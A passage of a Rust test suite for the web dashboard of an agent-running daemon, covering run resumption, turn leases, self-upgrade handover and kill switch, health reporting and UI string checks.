13974 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13975 )
13976 .await;
13977 assert_eq!(res.status, 409, "{}", res.body);
13978 assert!(
13979 res.json()["error"]
13980 .as_str()
13981 .unwrap()
13982 .contains("live daemon"),
13983 "correcting a run's merge underneath a running agent would race \
13984 whatever it is doing to the same `status`/`merge` fields"
13985 );
13986 }
13987
13988 #[tokio::test]
13993 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13994 let fx = Fixture::start().await;
13995 let runs = fx.runs();
13996 let id = "20260901-000000-unconfirmed";
13997 write_run(&runs, id, RunStatus::Blocked);
13998
13999 let res = fx
14000 .post(
14001 &format!("/api/runs/{id}/fold-merged"),
14002 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14003 )
14004 .await;
14005 assert_eq!(res.status, 400, "{}", res.body);
14006 assert_eq!(
14007 read_run(&runs, id).unwrap().status,
14008 RunStatus::Blocked,
14009 "a pull request that could not be confirmed merged must leave \
14010 the run exactly where it was"
14011 );
14012 }
14013
14014 #[tokio::test]
14015 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14016 let fx = Fixture::start().await;
14017 let runs = fx.runs();
14018
14019 for (status, word) in [
14025 (RunStatus::Merged, "merged"),
14026 (RunStatus::Ready, "ready"),
14027 (RunStatus::Failed, "failed"),
14028 ] {
14029 let id = format!("20260901-000000-{}", &word[..4]);
14030 write_run(&runs, &id, status);
14031 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14032 assert_eq!(res.status, 409, "{word} must not be resumable");
14033 let err = res.json()["error"].as_str().unwrap().to_owned();
14034 assert!(err.contains(word), "the refusal names the status: {err}");
14035 }
14036
14037 let mid = "20260901-000000-midf";
14042 write_run(&runs, mid, RunStatus::Reviewing);
14043 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14044 assert_eq!(res.status, 202, "an interrupted run is resumable");
14045 }
14046
14047 #[tokio::test]
14048 async fn resume_is_refused_while_the_loop_is_running() {
14049 let fx = Fixture::start().await;
14050 let runs = fx.runs();
14051 let stalled = "20260901-000000-stal";
14052 write_run(&runs, stalled, RunStatus::Stalled);
14053
14054 let mut beat = crate::daemon::Status::new();
14058 beat.current = vec![crate::daemon::Current {
14059 task: "20260901-000000-task".to_owned(),
14060 run: "20260901-000000-othr".to_owned(),
14061 }];
14062 beat.updated_at = jiff::Timestamp::now();
14063 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14064 .expect("publish a heartbeat");
14065
14066 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14067 assert_eq!(res.status, 409);
14068 let err = res.json()["error"].as_str().unwrap().to_owned();
14069 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14070 assert!(err.contains("stop it first"), "{err}");
14071 }
14072
14073 #[test]
14074 fn a_run_cannot_be_resumed_twice_at_once() {
14075 let home = TempDir::new().expect("temp home");
14076 let ui = Ui::new(
14077 Queue::at(home.path().join("queue")),
14078 Questions::at(home.path().join("questions")),
14079 Talks::at(home.path().join("talks")),
14080 home.path().join("runs"),
14081 home.path().to_path_buf(),
14082 PathBuf::from("/repo"),
14083 )
14084 .with_worktrees_root(home.path().join("wt"));
14085 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14086 let again = ui.begin_resume("20260901-000000-once");
14087 assert!(again.is_err(), "a second tap must not start a second graph");
14088 drop(first);
14089 assert!(
14090 ui.begin_resume("20260901-000000-once").is_ok(),
14091 "and the claim is released when the attempt ends"
14092 );
14093 }
14094
14095 #[test]
14096 fn talk_thinking_tracks_only_its_held_turn_claim() {
14097 let home = TempDir::new().expect("temp home");
14098 let ui = Ui::new(
14099 Queue::at(home.path().join("queue")),
14100 Questions::at(home.path().join("questions")),
14101 Talks::at(home.path().join("talks")),
14102 home.path().join("runs"),
14103 home.path().to_path_buf(),
14104 PathBuf::from("/repo"),
14105 )
14106 .with_worktrees_root(home.path().join("wt"));
14107 let id = "20260901-000000-once";
14108
14109 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14110 let turn = ui.begin_talk_turn(id).expect("claim turn");
14111 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14112 assert!(
14113 !ui.is_thinking("20260901-000000-other"),
14114 "one talk's turn does not make another talk busy"
14115 );
14116 drop(turn);
14117 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14118 }
14119
14120 #[test]
14121 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14122 let home = TempDir::new().expect("temp home");
14123 let talks = Talks::at(home.path().join("talks"));
14124 let ui = Ui::new(
14125 Queue::at(home.path().join("queue")),
14126 Questions::at(home.path().join("questions")),
14127 talks.clone(),
14128 home.path().join("runs"),
14129 home.path().to_path_buf(),
14130 PathBuf::from("/repo"),
14131 )
14132 .with_worktrees_root(home.path().join("wt"));
14133 let id = "20260901-000000-cross";
14134
14135 let other = Talks::at(home.path().join("talks"))
14136 .claim_turn(id)
14137 .expect("claim")
14138 .expect("the other process wins");
14139 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14140 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14141 assert!(
14142 matches!(
14143 ui.begin_talk_turn_unless_pending(id).expect("start"),
14144 TalkTurnStart::Foreign
14145 ),
14146 "a foreign holder is refused, not queued behind"
14147 );
14148 assert!(
14149 !ui.talk_turns.lock().unwrap().live.contains(id),
14150 "a refused claim leaves no in-process entry behind"
14151 );
14152 drop(other);
14153 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14154 assert!(talks.turn_held(id), "the web turn holds the lease");
14155 drop(turn);
14156 assert!(
14157 !talks.turn_held(id),
14158 "dropping the guard releases the lease"
14159 );
14160 }
14161
14162 #[tokio::test]
14163 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14164 let fx = Fixture::start().await;
14165 let mut beat = crate::daemon::Status::new();
14169 beat.pid = 4321;
14170 beat.updated_at = jiff::Timestamp::now();
14171 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14172 .expect("publish a heartbeat");
14173
14174 let res = fx.post("/api/upgrade", None).await;
14175 assert_eq!(res.status, 409);
14176 let err = res.json()["error"].as_str().unwrap().to_owned();
14177 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14178 assert!(err.contains("old one against the same queue"), "{err}");
14179 }
14180
14181 #[test]
14188 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14189 assert!(!should_spawn_recheck(&crate::config::Update {
14190 mode: UpdateMode::Off,
14191 interval: None,
14192 }));
14193
14194 unsafe {
14197 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14198 }
14199 let killed = should_spawn_recheck(&crate::config::Update {
14200 mode: UpdateMode::Notify,
14201 interval: None,
14202 });
14203 unsafe {
14204 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14205 }
14206 assert!(
14207 !killed,
14208 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14209 one-time startup check"
14210 );
14211
14212 assert!(should_spawn_recheck(&crate::config::Update {
14213 mode: UpdateMode::Notify,
14214 interval: None,
14215 }));
14216 }
14217
14218 #[test]
14224 fn recheck_poll_period_tracks_a_short_configured_interval() {
14225 let short = crate::config::Update {
14226 mode: UpdateMode::Notify,
14227 interval: Some("1m".to_owned()),
14228 };
14229 let period = recheck_poll_period(&short);
14230 assert!(
14231 period <= Duration::from_secs(30),
14232 "a one-minute interval must wake the task far sooner than the \
14233 default ceiling, or the deck would not notice within the \
14234 interval the operator configured: got {period:?}"
14235 );
14236
14237 let default = crate::config::Update {
14238 mode: UpdateMode::Notify,
14239 interval: None,
14240 };
14241 assert_eq!(
14242 recheck_poll_period(&default),
14243 UPDATE_RECHECK_POLL_MAX,
14244 "the default day-long interval should poll at the (capped) \
14245 ceiling rather than needlessly often"
14246 );
14247 }
14248
14249 #[test]
14257 fn recheck_skips_the_network_before_the_interval_elapses() {
14258 let dir = TempDir::new().expect("temp dir");
14259 let path = dir.path().join("state.json");
14260 let state = kaishin::UpdateCheckState {
14261 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14262 last_known_latest: None,
14263 last_known_url: None,
14264 };
14265 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14266
14267 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14268 assert!(
14269 !update_recheck_due(&checker, None),
14270 "a check made moments ago must not be repeated before the \
14271 configured interval elapses"
14272 );
14273 }
14274
14275 #[test]
14281 fn recheck_defers_to_an_upgrade_already_in_flight() {
14282 let dir = TempDir::new().expect("temp dir");
14283 let path = dir.path().join("state.json");
14284 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14285 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14286
14287 assert!(
14288 !update_recheck_due(&checker, Some(&progress)),
14289 "a recheck must not run while an upgrade this deck started is \
14290 still moving"
14291 );
14292 }
14293
14294 #[tokio::test]
14295 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14296 unsafe {
14308 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14309 }
14310 let fx = Fixture::start().await;
14311 let res = fx.post("/api/upgrade", None).await;
14312 unsafe {
14313 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14314 }
14315 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14316 let body = res.json();
14317 assert!(body["to"].is_null(), "there was no release to move to");
14318 assert!(body["parked"].is_null(), "and nothing was parked");
14319 assert!(
14320 body["detail"]
14321 .as_str()
14322 .unwrap()
14323 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14324 "{body:?}"
14325 );
14326 }
14327
14328 #[tokio::test]
14329 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14330 let repo = TempDir::new().expect("repo dir");
14346 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14347 .expect("write magi.toml");
14348 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14349
14350 let res = fx.post("/api/upgrade", None).await;
14356 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14357 let body = res.json();
14358 assert!(body["to"].is_null(), "there was no release to move to");
14359 assert!(body["parked"].is_null(), "and nothing was parked");
14360 assert!(
14361 body["detail"]
14362 .as_str()
14363 .unwrap()
14364 .contains("nothing restarted"),
14365 "{body:?}"
14366 );
14367 }
14368
14369 #[tokio::test]
14370 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14371 let repo = TempDir::new().expect("repo dir");
14376 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14377 .expect("write magi.toml");
14378 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14379
14380 let health = fx.get("/api/health").await.json();
14381 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14382 assert_eq!(
14383 health["update"]["available"], false,
14384 "checking is off, which reads as \"unknown\", not \"none\""
14385 );
14386 assert!(health["update"]["to"].is_null());
14387 assert!(
14388 health["upgrade"].is_null(),
14389 "nothing has ever asked this deck to upgrade"
14390 );
14391 }
14392
14393 #[tokio::test]
14394 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14395 let fx = Fixture::start().await;
14396 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14397
14398 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14399 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14400 progress.advance(crate::updater::Stage::Parking);
14401 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14402
14403 let health = fx.get("/api/health").await.json();
14404 assert_eq!(health["upgrade"]["stage"], "parking");
14405 assert_eq!(health["upgrade"]["from"], "0.5.1");
14406 assert_eq!(health["upgrade"]["to"], "0.5.2");
14407 let waiting_on = health["upgrade"]["waiting_on"]
14408 .as_str()
14409 .expect("waiting_on is set while parking a known run");
14410 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14411 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14412 }
14413
14414 #[tokio::test]
14415 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14416 let fx = Fixture::start().await;
14417 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14418 progress.advance(crate::updater::Stage::Done);
14419 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14420
14421 let health = fx.get("/api/health").await.json();
14422 assert_eq!(health["upgrade"]["stage"], "done");
14423 assert!(
14424 health["upgrade"]["waiting_on"].is_null(),
14425 "nothing to wait on once it is done"
14426 );
14427 }
14428
14429 #[tokio::test]
14430 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14431 let home = TempDir::new().expect("temp home");
14432 let runs = home.path().join("runs");
14433 std::fs::create_dir_all(&runs).expect("runs dir");
14434 let ui = Ui::new(
14435 Queue::at(home.path().join("queue")),
14436 Questions::at(home.path().join("questions")),
14437 Talks::at(home.path().join("talks")),
14438 runs,
14439 home.path().to_path_buf(),
14440 PathBuf::from("/repo/magi"),
14441 )
14442 .with_launch(launch_idle);
14443 let looping = ui.looping();
14444 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14445 .await
14446 .expect("bind loopback");
14447 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14448
14449 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14450 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14451
14452 hand_over(home.path(), &looping, served, |_| Ok(1))
14453 .await
14454 .expect("hand over");
14455
14456 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14457 assert_eq!(
14458 after.stage,
14459 crate::updater::Stage::Restarting,
14460 "hand_over owns the record through parking and up to restarting; \
14461 the successor is what finishes it"
14462 );
14463 }
14464
14465 #[tokio::test]
14468 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14469 for fail in [false, true] {
14470 let home = TempDir::new().expect("temp home");
14471 let ui = idle_ui(&home);
14472 let looping = ui.looping();
14473 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14474 .await
14475 .expect("bind loopback");
14476 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14477 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14478 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14479
14480 let calls = std::sync::atomic::AtomicUsize::new(0);
14481 let outcome = hand_over(home.path(), &looping, served, |_| {
14482 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14483 if fail {
14484 anyhow::bail!("no exec")
14485 } else {
14486 Ok(4242)
14487 }
14488 })
14489 .await;
14490 assert_eq!(outcome.is_err(), fail);
14491 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14492
14493 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14494 .expect("upgrade.log is written under the home");
14495 for step in [
14496 "entered",
14497 "finish_loop",
14498 "listener released",
14499 "starting the successor",
14500 ] {
14501 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14502 }
14503 assert!(
14504 log.contains(if fail { "did not start" } else { "pid 4242" }),
14505 "{log}"
14506 );
14507 }
14508 }
14509
14510 #[tokio::test]
14513 async fn the_handover_signal_wakes_one_waiter_once() {
14514 let signal = Notify::new();
14515 signal.notify_one();
14517 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14518 .await
14519 .expect("an early signal is still seen");
14520 assert!(
14522 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14523 .await
14524 .is_err(),
14525 "a consumed signal must not wake a second time"
14526 );
14527 let signal = std::sync::Arc::new(signal);
14529 let waiter = tokio::spawn({
14530 let signal = std::sync::Arc::clone(&signal);
14531 async move { wait_for_handover(&signal).await }
14532 });
14533 tokio::time::sleep(Duration::from_millis(20)).await;
14534 assert!(!waiter.is_finished(), "nothing was signalled yet");
14535 signal.notify_one();
14536 tokio::time::timeout(Duration::from_secs(5), waiter)
14537 .await
14538 .expect("a late signal wakes the waiter")
14539 .expect("join");
14540 }
14541
14542 #[tokio::test]
14543 async fn health_says_how_long_a_handover_has_been_stuck() {
14544 let fx = Fixture::start().await;
14545 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14546 progress.advance(crate::updater::Stage::Replaced);
14547 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14548 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14549
14550 let health = fx.get("/api/health").await.json();
14551 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14552 assert!(stuck >= 600, "{stuck}");
14553 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14554 }
14555
14556 fn idle_ui(home: &TempDir) -> Ui {
14557 let runs = home.path().join("runs");
14558 std::fs::create_dir_all(&runs).expect("runs dir");
14559 Ui::new(
14560 Queue::at(home.path().join("queue")),
14561 Questions::at(home.path().join("questions")),
14562 Talks::at(home.path().join("talks")),
14563 runs,
14564 home.path().to_path_buf(),
14565 PathBuf::from("/repo/magi"),
14566 )
14567 .with_launch(launch_idle)
14568 }
14569
14570 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14572 let looping = ui.looping();
14573 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14574 .await
14575 .expect("bind loopback");
14576 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14577 let told = std::sync::Mutex::new(None);
14578 hand_over(home.path(), &looping, served, |resume| {
14579 *told.lock().unwrap() = Some(resume);
14580 Ok(1)
14581 })
14582 .await
14583 .expect("hand over");
14584 told.into_inner().unwrap().expect("successor was started")
14585 }
14586
14587 #[tokio::test]
14588 async fn a_running_loop_is_resumed_by_the_successor() {
14589 let home = TempDir::new().expect("temp home");
14590 let ui = idle_ui(&home);
14591 ui.start_loop(None).expect("start");
14592 ui.park_for_upgrade().expect("park");
14593 for _ in 0..500 {
14595 if !ui.loop_view(None).running {
14596 break;
14597 }
14598 tokio::time::sleep(Duration::from_millis(2)).await;
14599 }
14600 assert!(handed_over(&home, ui).await, "a running loop must resume");
14601
14602 let successor = idle_ui(&home);
14603 assert!(!successor.loop_view(None).running);
14604 assert!(successor.resume_after_handover(true));
14605 assert!(successor.loop_view(None).running);
14606 successor.stop_loop(None, false).expect("stop");
14607 }
14608
14609 #[tokio::test]
14610 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14611 let home = TempDir::new().expect("temp home");
14612 let ui = idle_ui(&home);
14613 ui.start_loop(None).expect("start");
14614 ui.park_for_upgrade().expect("first park");
14615 ui.park_for_upgrade().expect("second park");
14616 assert!(handed_over(&home, ui).await);
14617 }
14618
14619 #[tokio::test]
14620 async fn a_stop_during_the_handover_wait_is_honoured() {
14621 let home = TempDir::new().expect("temp home");
14622 let ui = idle_ui(&home);
14623 ui.start_loop(None).expect("start");
14624 ui.park_for_upgrade().expect("park");
14625 ui.stop_loop(None, false).expect("stop");
14626 assert!(!handed_over(&home, ui).await);
14627 }
14628
14629 #[tokio::test]
14630 async fn an_idle_loop_stays_stopped_across_the_handover() {
14631 let home = TempDir::new().expect("temp home");
14632 let ui = idle_ui(&home);
14633 ui.park_for_upgrade().expect("park");
14634 assert!(!handed_over(&home, ui).await);
14635
14636 let successor = idle_ui(&home);
14637 assert!(!successor.resume_after_handover(false));
14638 assert!(!successor.loop_view(None).running);
14639 }
14640
14641 #[tokio::test]
14642 async fn a_loop_the_operator_stopped_is_not_resumed() {
14643 let home = TempDir::new().expect("temp home");
14644 let ui = idle_ui(&home);
14645 ui.start_loop(None).expect("start");
14646 ui.stop_loop(None, false).expect("stop");
14647 ui.park_for_upgrade().expect("park");
14648 assert!(!handed_over(&home, ui).await);
14649 }
14650
14651 #[test]
14652 fn only_an_explicit_one_requests_a_resume() {
14653 assert!(!resume_requested(None));
14654 assert!(!resume_requested(Some("0".into())));
14655 assert!(!resume_requested(Some("".into())));
14656 assert!(resume_requested(Some("1".into())));
14657 }
14658
14659 #[test]
14660 fn the_upgrade_button_arms_before_it_restarts_anything() {
14661 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14664 assert!(APP_JS.contains("Replace the binary and restart?"));
14665 assert!(APP_JS.contains("function confirmed("));
14666 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14671 assert!(
14675 APP_JS.contains("Parking, then restarting"),
14676 "the button says what it is waiting for"
14677 );
14678 assert!(APP_JS.contains("if (!out.to)"));
14681 }
14682
14683 #[test]
14684 fn stopping_the_loop_arms_but_starting_does_not() {
14685 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14688 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14689 assert!(APP_JS.contains("confirmed(button, question)"));
14690 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14693 assert!(APP_JS.contains("const label = btn.textContent;"));
14694 assert!(!APP_JS.contains("Neither direction is guarded"));
14695 }
14696
14697 #[test]
14698 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14699 assert!(
14700 APP_JS.contains("state.health.version"),
14701 "the operator wants to know what is running even with nothing newer"
14702 );
14703 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14704 }
14705
14706 #[test]
14707 fn the_upgrade_button_names_its_destination() {
14708 assert!(
14709 APP_JS.contains("`Update to ${update.to}`"),
14710 "pressing the button should not be a surprise about what it moves to"
14711 );
14712 }
14713
14714 #[test]
14715 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14716 for stage in ["downloading", "replaced", "parking", "restarting"] {
14717 assert!(
14718 APP_JS.contains(&format!("\"{stage}\"")),
14719 "the phone must be able to tell {stage} apart from the others"
14720 );
14721 }
14722 assert!(APP_JS.contains(".waiting_on"));
14723 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14728 assert!(APP_JS.contains("reconnects on its own"));
14729 }
14730
14731 #[test]
14732 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14733 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14742 ..APP_JS.find("function upgrade(").expect("upgrade")];
14743 assert!(
14744 !body.contains(
14745 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14746 ),
14747 "a failed upgrade must not take the whole strip over the way it used to"
14748 );
14749 assert!(
14750 body.contains("upgradeFailNote"),
14751 "the failure has to reach the loop's own note instead"
14752 );
14753 assert_eq!(
14757 body.matches("upgradeFailNote].filter(Boolean).join")
14758 .count(),
14759 2,
14760 "both loop-why writers (quiet and control) must fold the note in"
14761 );
14762 }
14763
14764 #[test]
14765 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14766 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14769 assert!(APP_JS.contains("function upgradeOverdue("));
14770 }
14771
14772 #[test]
14773 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14774 assert!(
14775 APP_JS.contains("Updated to ${upgradeInfo.to"),
14776 "the operator who asked for the restart wants to know it worked"
14777 );
14778 }
14779
14780 #[test]
14781 fn an_error_is_visible_from_where_the_button_is() {
14782 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14787 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14788 assert!(
14789 alert.contains("position: fixed"),
14790 "an error about the thing under your thumb has to be visible from \
14791 where your thumb is: {alert}"
14792 );
14793 assert!(
14794 alert.contains("z-index: 25"),
14795 "above the dock (20) and the run-actions FAB (15), so neither \
14796 buries it: {alert}"
14797 );
14798 assert!(
14799 alert.contains("var(--tap)"),
14800 "and clear of the dock and the home indicator: {alert}"
14801 );
14802 assert!(
14805 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14806 "the FAB's column stays free: {alert}"
14807 );
14808 }
14809
14810 #[tokio::test]
14811 async fn an_older_attempt_says_what_replaced_it() {
14812 let fx = Fixture::start().await;
14813 let q = fx.queue();
14814 let runs = fx.runs();
14815 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14816 write_run(&runs, first, RunStatus::Stalled);
14817 write_run(&runs, second, RunStatus::Blocked);
14818
14819 let mut t = Task::new(
14820 "one task".to_owned(),
14821 "do it".to_owned(),
14822 PathBuf::from("/repo"),
14823 Source::Human,
14824 );
14825 t.runs = vec![first.to_owned(), second.to_owned()];
14826 q.put(&mut t).expect("put");
14827
14828 let rows = fx.get("/api/runs").await.json();
14832 let by = |short: &str| -> Value {
14833 rows.as_array()
14834 .unwrap()
14835 .iter()
14836 .find(|r| r["short"] == short)
14837 .cloned()
14838 .unwrap_or(Value::Null)
14839 };
14840 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14841 assert!(
14842 by("bbbb")["superseded_by"].is_null(),
14843 "the latest attempt is not superseded by anything"
14844 );
14845 assert!(APP_JS.contains("run.superseded_by"));
14847 assert!(APP_JS.contains("Superseded by"));
14848 }
14849
14850 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14851 let mut t = Task::new(
14852 "one task".to_owned(),
14853 "do it".to_owned(),
14854 PathBuf::from("/repo"),
14855 Source::Human,
14856 );
14857 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14858 t.status = status;
14859 t
14860 }
14861
14862 #[test]
14863 fn source_link_picks_the_page_that_filed_the_task() {
14864 let agent = |node: &str| Source::Agent {
14865 run: "20260904-014455-ab12".to_owned(),
14866 node: node.to_owned(),
14867 };
14868 let chat = source_link(&agent("chat")).expect("chat link");
14869 assert_eq!(chat.kind, "chat");
14870 assert_eq!(chat.id, "20260904-014455-ab12");
14871 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14872 let run = source_link(&agent("implement")).expect("run link");
14873 assert_eq!(
14874 (run.kind, run.href.as_str()),
14875 ("run", "#/runs/20260904-014455-ab12")
14876 );
14877 assert_eq!(source_link(&Source::Human), None);
14878 assert_eq!(
14879 source_link(&Source::Issue {
14880 number: 3,
14881 repo: "o/r".to_owned()
14882 }),
14883 None
14884 );
14885 let odd = source_link(&Source::Agent {
14886 run: "a b/c".to_owned(),
14887 node: "chat".to_owned(),
14888 })
14889 .expect("link");
14890 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14891 }
14892
14893 #[test]
14894 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14895 assert!(
14896 !APP_JS.contains("src.node === \"chat\""),
14897 "inline href rule is back"
14898 );
14899 assert!(
14900 APP_JS.matches("sourceLinkOf(").count() >= 4,
14901 "helper must serve every page"
14902 );
14903 assert!(
14904 APP_JS.matches("openChatLink(").count() >= 3,
14905 "the run page still needs its explicit chat link"
14906 );
14907 assert!(
14908 !APP_JS.contains("const openChat = el("),
14909 "the Queue card duplicates its source label link again"
14910 );
14911 assert!(
14912 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14913 "the task page must link a chat source label too"
14914 );
14915 }
14916
14917 #[test]
14918 fn task_ref_carries_the_source_link_for_a_chat_task() {
14919 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14920 t.source = Source::Agent {
14921 run: "20260904-014455-ab12".to_owned(),
14922 node: "chat".to_owned(),
14923 };
14924 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14925 let v = serde_json::to_value(&out).expect("json");
14926 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14927 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14928 assert_eq!(v["source_label"], t.source.label());
14929
14930 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14931 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14932 .expect("json");
14933 assert!(v["source_link"].is_null(), "{v}");
14934 }
14935
14936 #[test]
14937 fn task_view_serializes_source_link() {
14938 let mut t = Task::new(
14939 "t".to_owned(),
14940 "t".to_owned(),
14941 PathBuf::from("/repo"),
14942 Source::Agent {
14943 run: "20260901-000000-aaaa".to_owned(),
14944 node: "implement".to_owned(),
14945 },
14946 );
14947 t.runs.clear();
14948 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14949 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14950 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14951 }
14952
14953 #[tokio::test]
14954 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14955 let fx = Fixture::start().await;
14956 let runs = fx.runs();
14957 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14958 write_run(&runs, old, RunStatus::Blocked);
14959 write_run(&runs, new, RunStatus::Merged);
14960 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14961 fx.queue().put(&mut t).expect("put");
14962
14963 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14964 let task = &view["task"];
14965 assert_eq!(task["status"], "done");
14966 assert_eq!(task["is_latest"], false);
14967 assert_eq!(task["latest"]["short"], "bbbb");
14968 assert_eq!(task["finished_by"]["id"], new);
14969 assert_eq!(task["finished_by"]["outcome"], "merged");
14970 assert_eq!(task["closed_by_hand"], false);
14971 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14972 assert!(APP_JS.contains("finished_by"));
14973 assert!(APP_JS.contains("superseded by run"));
14974 }
14975
14976 #[tokio::test]
14977 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14978 let fx = Fixture::start().await;
14979 let runs = fx.runs();
